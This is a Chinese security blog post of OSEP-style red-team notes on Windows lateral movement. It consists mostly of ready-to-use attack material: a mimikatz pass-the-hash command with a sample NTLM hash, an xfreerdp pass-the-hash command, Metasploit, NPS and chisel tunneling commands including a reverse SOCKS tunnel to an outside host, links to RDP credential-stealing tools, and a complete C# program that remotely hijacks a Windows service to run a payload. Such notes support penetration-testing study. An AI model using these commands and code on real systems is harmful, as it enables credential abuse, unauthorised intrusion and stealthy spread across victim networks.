OSEP | Windows横向移动

admin 2024年8月2日13:08:34评论20 views字数 2080阅读6分56秒阅读模式

关于笔记形式和学习方法请看OSEP学习之路 | 开篇

本篇是第七部分“Windows横向移动”技术,主要包括RDP协议的一些用法以及利用sc的无文件修改服务的方式进行横向移动

OSEP | Windows横向移动

1-MSTSC

使用mimikatz做PTH到mstsc

sekurlsa::pth /user:admin /domain:corp1/ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"

xfreerdp

xfreerdp /v:<host> /u:<username> /pth:<hash>

2-tunneling

使用MSF

run autoroute -s 192.168.1.0/24portfwd add -r <rhost> -l <listen_port> -p <rport>use auxiliary/server/socks_proxy

NPS

./npc -server xxx.xxx.xxx.xxx:xxxx -vkey xxxx

chisel

chisel server -p 8000 --reversechisel client 10.10.14.3:8000 R:80:127.0.0.1:80chisel client 10.10.14.3:8000 R:socks

2-命令行RDP

https://github.com/0xthirteen/SharpRDP

3-RDP小偷

https://github.com/0x09AL/RdpThiefhttps://github.com/S3cur3Th1sSh1t/RDPThiefInject

4-无文件横向

使用ChangeServiceConfigA

using System;using System.Runtime.InteropServices;namespace lat_m13{    class Program    {        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]        [return: MarshalAs(UnmanagedType.Bool)]        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);        [DllImport("advapi32", SetLastError = true)]        [return: MarshalAs(UnmanagedType.Bool)]        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);        static void Main(string[] args)        {            String target = "hfdc";            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);            string ServiceName = "SensorService";            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);            string payload = "notepad.exe";            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,            null, null, null, null);            bResult = StartService(schService, 0, null);        }    }}

坚持自律做最好的自己

原文始发于微信公众号(高级红队专家):OSEP | Windows横向移动

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月2日13:08:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSEP | Windows横向移动https://cn-sec.com/archives/3025854.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息